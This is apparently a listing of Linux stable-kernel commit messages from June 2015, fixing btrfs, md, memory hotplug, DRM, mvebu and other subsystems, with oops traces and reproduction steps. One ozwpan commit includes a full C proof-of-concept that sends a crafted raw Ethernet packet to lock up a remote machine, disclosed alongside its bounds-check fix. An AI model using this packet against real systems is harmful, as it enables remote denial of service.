- 23 Jun, 2015 40 commits
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Filipe Manana authored
commit df858e76 upstream. While searching for extents to clone we might find one where we only use a part of it coming from its tail. If our destination inode is the same the source inode, we end up removing the tail part of the extent item and insert after a new one that point to the same extent with an adjusted key file offset and data offset. After this we search for the next extent item in the fs/subvol tree with a key that has an offset incremented by one. But this second search leaves us at the new extent item we inserted previously, and since that extent item has a non-zero data offset, it it can make us call btrfs_drop_extents with an empty range (start == end) which causes the following warning: [23978.537119] WARNING: CPU: 6 PID: 16251 at fs/btrfs/file.c:550 btrfs_drop_extent_cache+0x43/0x385 [btrfs]() (...) [23978.557266] Call Trace: [23978.557978] [<ffffffff81425fd9>] dump_stack+0x4c/0x65 [23978.559191] [<ffffffff81045390>] warn_slowpath_common+0xa1/0xbb [23978.560699] [<ffffffffa047f0ea>] ? btrfs_drop_extent_cache+0x43/0x385 [btrfs] [23978.562389] [<ffffffff8104544d>] warn_slowpath_null+0x1a/0x1c [23978.563613] [<ffffffffa047f0ea>] btrfs_drop_extent_cache+0x43/0x385 [btrfs] [23978.565103] [<ffffffff810e3a18>] ? time_hardirqs_off+0x15/0x28 [23978.566294] [<ffffffff81079ff8>] ? trace_hardirqs_off+0xd/0xf [23978.567438] [<ffffffffa047f73d>] __btrfs_drop_extents+0x6b/0x9e1 [btrfs] [23978.568702] [<ffffffff8107c03f>] ? trace_hardirqs_on+0xd/0xf [23978.569763] [<ffffffff811441c0>] ? ____cache_alloc+0x69/0x2eb [23978.570817] [<ffffffff81142269>] ? virt_to_head_page+0x9/0x36 [23978.571872] [<ffffffff81143c15>] ? cache_alloc_debugcheck_after.isra.42+0x16c/0x1cb [23978.573466] [<ffffffff811420d5>] ? kmemleak_alloc_recursive.constprop.52+0x16/0x18 [23978.574962] [<ffffffffa0480d07>] btrfs_drop_extents+0x66/0x7f [btrfs] [23978.576179] [<ffffffffa049aa35>] btrfs_clone+0x516/0xaf5 [btrfs] [23978.577311] [<ffffffffa04983dc>] ? lock_extent_range+0x7b/0xcd [btrfs] [23978.578520] [<ffffffffa049b2a2>] btrfs_ioctl_clone+0x28e/0x39f [btrfs] [23978.580282] [<ffffffffa049d9ae>] btrfs_ioctl+0xb51/0x219a [btrfs] (...) [23978.591887] ---[ end trace 988ec2a653d03ed3 ]--- Then we attempt to insert a new extent item with a key that already exists, which makes btrfs_insert_empty_item return -EEXIST resulting in abortion of the current transaction: [23978.594355] WARNING: CPU: 6 PID: 16251 at fs/btrfs/super.c:260 __btrfs_abort_transaction+0x52/0x114 [btrfs]() (...) [23978.622589] Call Trace: [23978.623181] [<ffffffff81425fd9>] dump_stack+0x4c/0x65 [23978.624359] [<ffffffff81045390>] warn_slowpath_common+0xa1/0xbb [23978.625573] [<ffffffffa044ab6c>] ? __btrfs_abort_transaction+0x52/0x114 [btrfs] [23978.626971] [<ffffffff810453f0>] warn_slowpath_fmt+0x46/0x48 [23978.628003] [<ffffffff8108a6c8>] ? vprintk_default+0x1d/0x1f [23978.629138] [<ffffffffa044ab6c>] __btrfs_abort_transaction+0x52/0x114 [btrfs] [23978.630528] [<ffffffffa049ad1b>] btrfs_clone+0x7fc/0xaf5 [btrfs] [23978.631635] [<ffffffffa04983dc>] ? lock_extent_range+0x7b/0xcd [btrfs] [23978.632886] [<ffffffffa049b2a2>] btrfs_ioctl_clone+0x28e/0x39f [btrfs] [23978.634119] [<ffffffffa049d9ae>] btrfs_ioctl+0xb51/0x219a [btrfs] (...) [23978.647714] ---[ end trace 988ec2a653d03ed4 ]--- This is wrong because we should not process the extent item that we just inserted previously, and instead process the extent item that follows it in the tree For example for the test case I wrote for fstests: bs=$((64 * 1024)) mkfs.btrfs -f -l $bs -O ^no-holes /dev/sdc mount /dev/sdc /mnt xfs_io -f -c "pwrite -S 0xaa $(($bs * 2)) $(($bs * 2))" /mnt/foo $CLONER_PROG -s $((3 * $bs)) -d $((267 * $bs)) -l 0 /mnt/foo /mnt/foo $CLONER_PROG -s $((217 * $bs)) -d $((95 * $bs)) -l 0 /mnt/foo /mnt/foo The second clone call fails with -EEXIST, because when we process the first extent item (offset 262144), we drop part of it (counting from the end) and then insert a new extent item with a key greater then the key we found. The next time we search the tree we search for a key with offset 262144 + 1, which leaves us at the new extent item we have just inserted but we think it refers to an extent that we need to clone. Fix this by ensuring the next search key uses an offset corresponding to the offset of the key we found previously plus the data length of the corresponding extent item. This ensures we skip new extent items that we inserted and works for the case of implicit holes too (NO_HOLES feature). A test case for fstests follows soon. Signed-off-by:
Filipe Manana <fdmanana@suse.com> Signed-off-by:
Chris Mason <clm@fb.com> Signed-off-by:
Greg Kroah-Hartman <gregkh@linuxfoundation.org>
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Jeff Mahoney authored
commit 727b9784 upstream. Orphans in the fs tree are cleaned up via open_ctree and subvolume orphans are cleaned via btrfs_lookup_dentry -- except when a default subvolume is in use. The name for the default subvolume uses a manual lookup that doesn't trigger orphan cleanup and needs to trigger it manually as well. This doesn't apply to the remount case since the subvolumes are cleaned up by walking the root radix tree. Signed-off-by:
Jeff Mahoney <jeffm@suse.com> Reviewed-by:
David Sterba <dsterba@suse.cz> Signed-off-by:
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Chengyu Song authored
commit 26e726af upstream. fiemap_fill_next_extent returns 0 on success, -errno on error, 1 if this was the last extent that will fit in user array. If 1 is returned, the return value may eventually returned to user space, which should not happen, according to manpage of ioctl. Signed-off-by:
Chengyu Song <csong84@gatech.edu> Reviewed-by:
Liu Bo <bo.li.liu@oracle.com> Signed-off-by:
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Filipe Manana authored
commit 2f1f465a upstream. If the clone root was not readonly or the dead flag was set on it, we were leaving without decrementing the root's send_progress counter (and before we just incremented it). If a concurrent snapshot deletion was in progress and ended up being aborted, it would be impossible to later attempt to delete again the snapshot, since the root's send_in_progress counter could never go back to 0. We were also setting clone_sources_to_rollback to i + 1 too early - if we bailed out because the clone root we got is not readonly or flagged as dead we ended up later derreferencing a null pointer because we didn't assign the clone root to sctx->clone_roots[i].root: for (i = 0; sctx && i < clone_sources_to_rollback; i++) btrfs_root_dec_send_in_progress( sctx->clone_roots[i].root); So just don't increment the send_in_progress counter if the root is readonly or flagged as dead. Signed-off-by:
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Filipe Manana authored
commit 5cc2b17e upstream. After we locked the root's root item, a concurrent snapshot deletion call might have set the dead flag on it. So check if the dead flag is set and abort if it is, just like we do for the parent root. Signed-off-by:
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Oleg Nesterov authored
commit ef7254a5 upstream. Change HOST_EXTRACFLAGS to include arch/x86/include/uapi along with include/uapi. This looks more consistent, and this fixes "make bzImage" on my old distro which doesn't have asm/bitsperlong.h in /usr/include/. Signed-off-by:
Oleg Nesterov <oleg@redhat.com> Signed-off-by:
Borislav Petkov <bp@suse.de> Acked-by:
Andy Lutomirski <luto@kernel.org> Cc: <stable@vger.kernel.org> Cc: Andy Lutomirski <luto@amacapital.net> Cc: Borislav Petkov <bp@alien8.de> Cc: Brian Gerst <brgerst@gmail.com> Cc: Denys Vlasenko <dvlasenk@redhat.com> Cc: H. Peter Anvin <hpa@zytor.com> Cc: Jiri Olsa <jolsa@kernel.org> Cc: Linus Torvalds <torvalds@linux-foundation.org> Cc: Peter Zijlstra <peterz@infradead.org> Cc: Rusty Russell <rusty@rustcorp.com.au> Cc: Thomas Gleixner <tglx@linutronix.de> Fixes: 6f121e54 ("x86, vdso: Reimplement vdso.so preparation in build-time C") Link: http://lkml.kernel.org/r/1431332153-18566-6-git-send-email-bp@alien8.de Link: http://lkml.kernel.org/r/20150507165835.GB18652@redhat.comSigned-off-by:
Ingo Molnar <mingo@kernel.org> Signed-off-by:
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Tommi Kyntola authored
commit 0a4f59d6 upstream. The build-time tool arch/x86/vdso/vdso2c.c includes <linux/elf.h>, but cannot find it, unless the build host happens to provide it. It should be reading the uapi linux/elf.h This build regression came along with the vdso2c changes between v3.15 and v3.16. Signed-off-by:
Tommi Kyntola <tommi.kyntola@gmail.com> Signed-off-by:
Andy Lutomirski <luto@amacapital.net> Link: http://lkml.kernel.org/r/1525002.3cJ7BySVpA@musta Link: http://lkml.kernel.org/r/efe1ec29eda830b1d0030882706f3dac99ce1f73.1427482099.git.luto@kernel.orgSigned-off-by:
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Axel Lin authored
commit febe0696 upstream. Fixes: 6058bb36 'ARM: sun7i/sun6i: irqchip: Add irqchip driver for NMI controller' Signed-off-by:
Axel Lin <axel.lin@ingics.com> Cc: Maxime Ripard <maxime.ripard@free-electrons.com> Cc: Carlo Caione <carlo@caione.org> Cc: Jason Cooper <jason@lakedaemon.net> Link: http://lkml.kernel.org/r/1433684009.9134.1.camel@ingics.comSigned-off-by:
Thomas Gleixner <tglx@linutronix.de> Signed-off-by:
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Johannes Berg authored
commit 9c5a18a3 upstream. Until recently, mac80211 overwrote all the statistics it could provide when getting called, but it now relies on the struct having been zeroed by the caller. This was always the case in nl80211, but wext used a static struct which could even cause values from one device leak to another. Using a static struct is OK (as even documented in a comment) since the whole usage of this function and its return value is always locked under RTNL. Not clearing the struct for calling the driver has always been wrong though, since drivers were free to only fill values they could report, so calling this for one device and then for another would always have leaked values from one to the other. Fix this by initializing the structure in question before the driver method call. This fixes https://bugzilla.kernel.org/show_bug.cgi?id=99691Reported-by:
Gerrit Renker <gerrit@erg.abdn.ac.uk> Reported-by:
Alexander Kaltsas <alexkaltsas@gmail.com> Signed-off-by:
Johannes Berg <johannes.berg@intel.com> Signed-off-by:
David S. Miller <davem@davemloft.net> Signed-off-by:
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Ming Lei authored
commit c3b4afca upstream. Now blk_cleanup_queue() can be called before calling del_gendisk()[1], inside which hctx->ctxs is touched from blk_mq_unregister_hctx(), but the variable has been freed by blk_cleanup_queue() at that time. So this patch moves freeing of hctx->ctxs into queue's release handler for fixing the oops reported by Stefan. [1], 6cd18e71 (block: destroy bdi before blockdev is unregistered) Reported-by:
Stefan Seyfried <stefan.seyfried@googlemail.com> Cc: NeilBrown <neilb@suse.de> Cc: Christoph Hellwig <hch@lst.de> Signed-off-by:
Ming Lei <tom.leiming@gmail.com> Signed-off-by:
Jens Axboe <axboe@fb.com> Signed-off-by:
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Mel Gorman authored
commit 8e76d4ee upstream. Jovi Zhangwei reported the following problem Below kernel vm bug can be triggered by tcpdump which mmaped a lot of pages with GFP_COMP flag. [Mon May 25 05:29:33 2015] page:ffffea0015414000 count:66 mapcount:1 mapping: (null) index:0x0 [Mon May 25 05:29:33 2015] flags: 0x20047580004000(head) [Mon May 25 05:29:33 2015] page dumped because: VM_BUG_ON_PAGE(compound_order(page) && !PageTransHuge(page)) [Mon May 25 05:29:33 2015] ------------[ cut here ]------------ [Mon May 25 05:29:33 2015] kernel BUG at mm/migrate.c:1661! [Mon May 25 05:29:33 2015] invalid opcode: 0000 [#1] SMP In this case it was triggered by running tcpdump but it's not necessary reproducible on all systems. sudo tcpdump -i bond0.100 'tcp port 4242' -c 100000000000 -w 4242.pcap Compound pages cannot be migrated and it was not expected that such pages be marked for NUMA balancing. This did not take into account that drivers such as net/packet/af_packet.c may insert compound pages into userspace with vm_insert_page. This patch tells the NUMA balancing protection scanner to skip all VM_MIXEDMAP mappings which avoids the possibility that compound pages are marked for migration. Signed-off-by:
Mel Gorman <mgorman@suse.de> Reported-by:
Jovi Zhangwei <jovi@cloudflare.com> Cc: Ingo Molnar <mingo@elte.hu> Cc: Peter Zijlstra <a.p.zijlstra@chello.nl> Signed-off-by:
Andrew Morton <akpm@linux-foundation.org> Signed-off-by:
Linus Torvalds <torvalds@linux-foundation.org> Signed-off-by:
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NeilBrown authored
commit c008f1d3 upstream. Returning zero from a 'store' function is bad. The return value should be either len length of the string or an error. So use 'len' if 'err' is zero. Fixes: 6791875e ("md: make reconfig_mutex optional for writes to md sysfs files.") Signed-off-by:
NeilBrown <neilb@suse.de> Signed-off-by:
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NeilBrown authored
commit 8e8e2518 upstream. Checking ->sync_thread without holding the mddev_lock() isn't really safe, even after flushing the workqueue which ensures md_start_sync() has been run. While this code is waiting for the lock, md_check_recovery could reap the thread itself, and then start another thread (e.g. recovery might finish, then reshape starts). When this thread gets the lock md_start_sync() hasn't run so it doesn't get reaped, but MD_RECOVERY_RUNNING gets cleared. This allows two threads to start which leads to confusion. So don't both if MD_RECOVERY_RUNNING isn't set, but if it is do the flush and the test and the reap all under the mddev_lock to avoid any race with md_check_recovery. Signed-off-by:
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Gu Zheng authored
commit 85bd8399 upstream. Izumi found the following oops when hot re-adding a node: BUG: unable to handle kernel paging request at ffffc90008963690 IP: __wake_up_bit+0x20/0x70 Oops: 0000 [#1] SMP CPU: 68 PID: 1237 Comm: rs:main Q:Reg Not tainted 4.1.0-rc5 #80 Hardware name: FUJITSU PRIMEQUEST2800E/SB, BIOS PRIMEQUEST 2000 Series BIOS Version 1.87 04/28/2015 task: ffff880838df8000 ti: ffff880017b94000 task.ti: ffff880017b94000 RIP: 0010:[<ffffffff810dff80>] [<ffffffff810dff80>] __wake_up_bit+0x20/0x70 RSP: 0018:ffff880017b97be8 EFLAGS: 00010246 RAX: ffffc90008963690 RBX: 00000000003c0000 RCX: 000000000000a4c9 RDX: 0000000000000000 RSI: ffffea101bffd500 RDI: ffffc90008963648 RBP: ffff880017b97c08 R08: 0000000002000020 R09: 0000000000000000 R10: 0000000000000000 R11: 0000000000000000 R12: ffff8a0797c73800 R13: ffffea101bffd500 R14: 0000000000000001 R15: 00000000003c0000 FS: 00007fcc7ffff700(0000) GS:ffff880874800000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: ffffc90008963690 CR3: 0000000836761000 CR4: 00000000001407e0 Call Trace: unlock_page+0x6d/0x70 generic_write_end+0x53/0xb0 xfs_vm_write_end+0x29/0x80 [xfs] generic_perform_write+0x10a/0x1e0 xfs_file_buffered_aio_write+0x14d/0x3e0 [xfs] xfs_file_write_iter+0x79/0x120 [xfs] __vfs_write+0xd4/0x110 vfs_write+0xac/0x1c0 SyS_write+0x58/0xd0 system_call_fastpath+0x12/0x76 Code: 5d c3 66 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 55 48 89 e5 48 83 ec 20 65 48 8b 04 25 28 00 00 00 48 89 45 f8 31 c0 48 8d 47 48 <48> 39 47 48 48 c7 45 e8 00 00 00 00 48 c7 45 f0 00 00 00 00 48 RIP [<ffffffff810dff80>] __wake_up_bit+0x20/0x70 RSP <ffff880017b97be8> CR2: ffffc90008963690 Reproduce method (re-add a node):: Hot-add nodeA --> remove nodeA --> hot-add nodeA (panic) This seems an use-after-free problem, and the root cause is zone->wait_table was not set to *NULL* after free it in try_offline_node. When hot re-add a node, we will reuse the pgdat of it, so does the zone struct, and when add pages to the target zone, it will init the zone first (including the wait_table) if the zone is not initialized. The judgement of zone initialized is based on zone->wait_table: static inline bool zone_is_initialized(struct zone *zone) { return !!zone->wait_table; } so if we do not set the zone->wait_table to *NULL* after free it, the memory hotplug routine will skip the init of new zone when hot re-add the node, and the wait_table still points to the freed memory, then we will access the invalid address when trying to wake up the waiting people after the i/o operation with the page is done, such as mentioned above. Signed-off-by:
Gu Zheng <guz.fnst@cn.fujitsu.com> Reported-by:
Taku Izumi <izumi.taku@jp.fujitsu.com> Reviewed by: Yasuaki Ishimatsu <isimatu.yasuaki@jp.fujitsu.com> Cc: KAMEZAWA Hiroyuki <kamezawa.hiroyu@jp.fujitsu.com> Cc: Tang Chen <tangchen@cn.fujitsu.com> Signed-off-by:
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Yingjoe Chen authored
commit 692ef3ee upstream. Model name in mt8173-evb.dts doesn't follow dts convention (it should be human readable model name). Fix it. Fixes: b3a37248 ("arm64: dts: Add mediatek MT8173 SoC and evaluation board dts and Makefile") Signed-off-by:
Yingjoe Chen <yingjoe.chen@mediatek.com> Signed-off-by:
Matthias Brugger <matthias.bgg@gmail.com> Signed-off-by:
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Thomas Petazzoni authored
commit 885dbd15 upstream. This reverts commit 1737cac6 ("bus: mvebu-mbus: make sure SDRAM CS for DMA don't overlap the MBus bridge window"), because it breaks DMA on platforms having more than 2 GB of RAM. This commit changed the information reported to DMA masters device drivers through the mv_mbus_dram_info() function so that the returned DRAM ranges do not overlap with I/O windows. This was necessary as a preparation to support the new CESA Crypto Engine driver, which will use DMA for cryptographic operations. But since it does DMA with the SRAM which is mapped as an I/O window, having DRAM ranges overlapping with I/O windows was problematic. To solve this, the above mentioned commit changed the mvebu-mbus to adjust the DRAM ranges so that they don't overlap with the I/O windows. However, by doing this, we re-adjust the DRAM ranges in a way that makes them have a size that is no longer a power of two. While this is perfectly fine for the Crypto Engine, which supports DRAM ranges with a granularity of 64 KB, it breaks basically all other DMA masters, which expect power of two sizes for the DRAM ranges. Due to this, if the installed system memory is 4 GB, in two chip-selects of 2 GB, the second DRAM range will be reduced from 2 GB to a little bit less than 2 GB to not overlap with the I/O windows, in a way that results in a DRAM range that doesn't have a power of two size. This means that whenever you do a DMA transfer with an address located in the [ 2 GB ; 4 GB ] area, it will freeze the system. Any serious DMA activity like simply running: for i in $(seq 1 64) ; do dd if=/dev/urandom of=file$i bs=1M count=16 ; done in an ext3 partition mounted over a SATA drive will freeze the system. Since the new CESA crypto driver that uses DMA has not been merged yet, the easiest fix is to simply revert this commit. A follow-up commit will introduce a different solution for the CESA crypto driver. Signed-off-by:
Thomas Petazzoni <thomas.petazzoni@free-electrons.com> Fixes: 1737cac6 ("bus: mvebu-mbus: make sure SDRAM CS for DMA don't overlap the MBus bridge window") Signed-off-by:
Gregory CLEMENT <gregory.clement@free-electrons.com> Signed-off-by:
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Nicolas Schichan authored
commit 8c9e06e6 upstream. Commit a0b5cd4a ("bus: mvebu-mbus: use automatic I/O synchronization barriers") enabled the usage of automatic I/O synchronization barriers by enabling bit WIN_CTRL_SYNCBARRIER in the control registers of MBus windows, but on non io-coherent platforms (orion5x, kirkwood and dove) the WIN_CTRL_SYNCBARRIER bit in the window control register is either reserved (all windows except 6 and 7) or enables read-only protection (windows 6 and 7). Signed-off-by:
Nicolas Schichan <nschichan@freebox.fr> Reviewed-by:
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Nadav Haklai authored
commit e96998fc upstream. According to the Armada 38x datasheet, the window base address registers value is set in bits [31:4] of the register and corresponds to the transaction address bits [47:20]. Therefore, the 32bit base address value should be shifted right by 20bits and left by 4bits, resulting in 16 bit shift right. The bug as not been noticed yet because if the memory available on the platform is less than 2GB, then the base address is zero. [gregory.clement@free-electrons.com: add extra-explanation] Fixes: a3464ed2 (ata: ahci_mvebu: new driver for Marvell Armada 380 AHCI interfaces) Signed-off-by:
Nadav Haklai <nadavh@marvell.com> Reviewed-by:
Omri Itach <omrii@marvell.com> Signed-off-by:
Tejun Heo <tj@kernel.org> Signed-off-by:
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Jiang Liu authored
commit 210d150e upstream. The cpumask vp_dev->msix_affinity_masks[info->msix_vector] may contain staled information when vp_set_vq_affinity() gets called, so clear it before setting the new cpu bit mask. Signed-off-by:
Jiang Liu <jiang.liu@linux.intel.com> Signed-off-by:
Michael S. Tsirkin <mst@redhat.com> Signed-off-by:
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Geert Uytterhoeven authored
commit f76502aa upstream. "IS_ENABLED(PPC_PSERIES)" always evaluates to false, as IS_ENABLED() is supposed to be used with the full Kconfig symbol name, including the "CONFIG_" prefix. Add the missing "CONFIG_" prefix to fix this. Fixes: a25095d4 ("of: Move dynamic node fixups out of powerpc and into common code") Signed-off-by:
Geert Uytterhoeven <geert+renesas@glider.be> Signed-off-by:
Grant Likely <grant.likely@linaro.org> Signed-off-by:
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Philipp Zabel authored
commit 392bceed upstream. The driver configures the IDLE condition to interrupt the SDMA engine. Since the SDMA UART ROM script doesn't clear the IDLE bit itself, this caused repeated 1-byte DMA transfers, regardless of available data in the RX FIFO. Also, when returning due to the IDLE condition, the UART ROM script already increased its counter, causing residue to be off by one. This patch clears the IDLE condition to avoid repeated 1-byte DMA transfers and decreases count by when the DMA transfer was aborted due to the IDLE condition, fixing serial transfers using DMA on i.MX6Q. Reported-by:
Peter Seiderer <ps.report@gmx.net> Signed-off-by:
Philipp Zabel <p.zabel@pengutronix.de> Tested-by:
Fabio Estevam <fabio.estevam@freescale.com> Signed-off-by:
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Michel Dänzer authored
commit ee18e599 upstream. Some error paths didn't unreserve the BO. This resulted in a deadlock down the road on the next attempt to reserve the (still reserved) BO. Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=90873Reviewed-by:
Christian König <christian.koenig@amd.com> Signed-off-by:
Michel Dänzer <michel.daenzer@amd.com> Signed-off-by:
Alex Deucher <alexander.deucher@amd.com> Signed-off-by:
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Alex Deucher authored
commit ebb9bf18 upstream. This reverts commit 7fe04d6f. Fixes some systems at the expense of others. Need to properly fix the pll divider selection. bug: https://bugzilla.kernel.org/show_bug.cgi?id=99651Signed-off-by:
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Alex Deucher authored
commit 6fb3c025 upstream. This reverts commit a10f0df0. Fixes some systems at the expense of others. Need to properly fix the pll divider selection. bug: https://bugzilla.kernel.org/show_bug.cgi?id=99651Signed-off-by:
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Jérôme Glisse authored
commit 6dfd1972 upstream. Laptop with Turks/Thames GPU will freeze if dpm is enabled. It seems the SMC engine is relying on some state inside the CP engine. CP needs to chew at least one packet for it to get in good state for dynamic power management. This patch simply disabled and re-enable DPM after the ring test which is enough to avoid the freeze. Signed-off-by:
Jérôme Glisse <jglisse@redhat.com> Signed-off-by:
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Jani Nikula authored
commit 3f5f1554 upstream. Passive DP->DVI/HDMI dongles on DP++ ports show up to the system as HDMI devices, as they do not have a sink device in them to respond to any AUX traffic. When probing these dongles over the DDC, sometimes they will NAK the first attempt even though the transaction is valid and they support the DDC protocol. The retry loop inside of drm_do_probe_ddc_edid() would normally catch this case and try the transaction again, resulting in success. That, however, was thwarted by the fix for [1]: commit 9292f37e Author: Eugeni Dodonov <eugeni.dodonov@intel.com> Date: Thu Jan 5 09:34:28 2012 -0200 drm: give up on edid retries when i2c bus is not responding This added code to exit immediately if the return code from the i2c_transfer function was -ENXIO in order to reduce the amount of time spent in waiting for unresponsive or disconnected devices. That was possible because the underlying i2c bit banging algorithm had retries of its own (which, of course, were part of the reason for the bug the commit fixes). Since its introduction in commit f899fc64 Author: Chris Wilson <chris@chris-wilson.co.uk> Date: Tue Jul 20 15:44:45 2010 -0700 drm/i915: use GMBUS to manage i2c links we've been flipping back and forth enabling the GMBUS transfers, but we've settled since then. The GMBUS implementation does not do any retries, however, bailing out of the drm_do_probe_ddc_edid() retry loop on first encounter of -ENXIO. This, combined with Eugeni's commit, broke the retry on -ENXIO. Retry GMBUS once on -ENXIO on first message to mitigate the issues with passive adapters. This patch is based on the work, and commit message, by Todd Previte <tprevite@gmail.com>. [1] https://bugs.freedesktop.org/show_bug.cgi?id=41059 v2: Don't retry if using bit banging. v3: Move retry within gmbux_xfer, retry only on first message. v4: Initialize GMBUS0 on retry (Ville). v5: Take index reads into account (Ville). Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=85924 Cc: Todd Previte <tprevite@gmail.com> Tested-by: Oliver Grafe <oliver.grafe@ge.com> (v2) Tested-by:
Jim Bride <jim.bride@linux.intel.com> Reviewed-by:
Ville Syrjälä <ville.syrjala@linux.intel.com> Signed-off-by:
Jani Nikula <jani.nikula@intel.com> Signed-off-by:
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Ville Syrjälä authored
commit 0aedb162 upstream. Apparently we can have requests even if though the active list is empty, so do the request retirement regardless of whether there's anything on the active list. The way it happened here is that during suspend intel_ring_idle() notices the olr hanging around and then proceeds to get rid of it by adding a request. However since there was nothing on the active lists i915_gem_retire_requests() didn't clean those up, and so the idle work never runs, and we leave the GPU "busy" during suspend resulting in a WARN later. Signed-off-by:
Chris Wilson <chris@chris-wilson.co.uk> Signed-off-by:
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Jim Bride authored
commit e058c945 upstream. According to the HSW b-spec we need to try clock divisors of 63 and 72, each 3 or more times, when attempting DP AUX channel communication on a server chipset. This actually wasn't happening due to a short-circuit that only checked the DP_AUX_CH_CTL_DONE bit in status rather than checking that the operation was done and that DP_AUX_CH_CTL_TIME_OUT_ERROR was not set. [v2] Implemented alternate solution suggested by Jani Nikula. Signed-off-by:
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Alex Deucher authored
commit 091f0a70 upstream. Using the DCE2 one by accident afer the audio rework. Bug: https://bugs.freedesktop.org/show_bug.cgi?id=90777Signed-off-by:
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Alexey Skidanov authored
commit 826f5de8 upstream. This patch fixes a bug where the number of watch points was shown before it was actually calculated Signed-off-by:
Alexey Skidanov <Alexey.Skidanov@amd.com> Signed-off-by:
Oded Gabbay <oded.gabbay@gmail.com> Signed-off-by:
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Matthijs van Duin authored
commit 7a6cb0ab upstream. Avoid entering "RTC-only mode" at poweroff. It is unsupported by most versions of BeagleBone, and risks hardware damage. The damaging configuration is having system-power-controller without ti,pmic-shutdown-controller. Reported-by:
Matthijs van Duin <matthijsvanduin@gmail.com> Tested-by:
Robert Nelson <robertcnelson@gmail.com> Cc: Tony Lindgren <tony@atomide.com> Cc: Felipe Balbi <balbi@ti.com> Cc: Johan Hovold <johan@kernel.org> [Matthijs van Duin: added explanatory comments] Signed-off-by:
Tony Lindgren <tony@atomide.com> Signed-off-by:
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Aaro Koskinen authored
commit 4710f2fa upstream. MODULE_DEVICE_TABLE is referring to wrong driver's table and breaks the build. Fix that. Signed-off-by:
Aaro Koskinen <aaro.koskinen@nokia.com> Signed-off-by:
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Jason A. Donenfeld authored
commit 9a59029b upstream. The subtraction here was using a signed integer and did not have any bounds checking at all. This commit adds proper bounds checking, made easy by use of an unsigned integer. This way, a single packet won't be able to remotely trigger a massive loop, locking up the system for a considerable amount of time. A PoC follows below, which requires ozprotocol.h from this module. =-=-=-=-=-= #include <arpa/inet.h> #include <linux/if_packet.h> #include <net/if.h> #include <netinet/ether.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <endian.h> #include <sys/ioctl.h> #include <sys/socket.h> #define u8 uint8_t #define u16 uint16_t #define u32 uint32_t #define __packed __attribute__((__packed__)) #include "ozprotocol.h" static int hex2num(char c) { if (c >= '0' && c <= '9') return c - '0'; if (c >= 'a' && c <= 'f') return c - 'a' + 10; if (c >= 'A' && c <= 'F') return c - 'A' + 10; return -1; } static int hwaddr_aton(const char *txt, uint8_t *addr) { int i; for (i = 0; i < 6; i++) { int a, b; a = hex2num(*txt++); if (a < 0) return -1; b = hex2num(*txt++); if (b < 0) return -1; *addr++ = (a << 4) | b; if (i < 5 && *txt++ != ':') return -1; } return 0; } int main(int argc, char *argv[]) { if (argc < 3) { fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]); return 1; } uint8_t dest_mac[6]; if (hwaddr_aton(argv[2], dest_mac)) { fprintf(stderr, "Invalid mac address.\n"); return 1; } int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); if (sockfd < 0) { perror("socket"); return 1; } struct ifreq if_idx; int interface_index; strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1); if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) { perror("SIOCGIFINDEX"); return 1; } interface_index = if_idx.ifr_ifindex; if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) { perror("SIOCGIFHWADDR"); return 1; } uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data; struct { struct ether_header ether_header; struct oz_hdr oz_hdr; struct oz_elt oz_elt; struct oz_elt_connect_req oz_elt_connect_req; struct oz_elt oz_elt2; struct oz_multiple_fixed oz_multiple_fixed; } __packed packet = { .ether_header = { .ether_type = htons(OZ_ETHERTYPE), .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }, .oz_hdr = { .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), .last_pkt_num = 0, .pkt_num = htole32(0) }, .oz_elt = { .type = OZ_ELT_CONNECT_REQ, .length = sizeof(struct oz_elt_connect_req) }, .oz_elt_connect_req = { .mode = 0, .resv1 = {0}, .pd_info = 0, .session_id = 0, .presleep = 0, .ms_isoc_latency = 0, .host_vendor = 0, .keep_alive = 0, .apps = htole16((1 << OZ_APPID_USB) | 0x1), .max_len_div16 = 0, .ms_per_isoc = 0, .up_audio_buf = 0, .ms_per_elt = 0 }, .oz_elt2 = { .type = OZ_ELT_APP_DATA, .length = sizeof(struct oz_multiple_fixed) - 3 }, .oz_multiple_fixed = { .app_id = OZ_APPID_USB, .elt_seq_num = 0, .type = OZ_USB_ENDPOINT_DATA, .endpoint = 0, .format = OZ_DATA_F_MULTIPLE_FIXED, .unit_size = 1, .data = {0} } }; struct sockaddr_ll socket_address = { .sll_ifindex = interface_index, .sll_halen = ETH_ALEN, .sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }; if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { perror("sendto"); return 1; } return 0; } Signed-off-by:
Jason A. Donenfeld <Jason@zx2c4.com> Acked-by:
Dan Carpenter <dan.carpenter@oracle.com> Signed-off-by:
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Jason A. Donenfeld authored
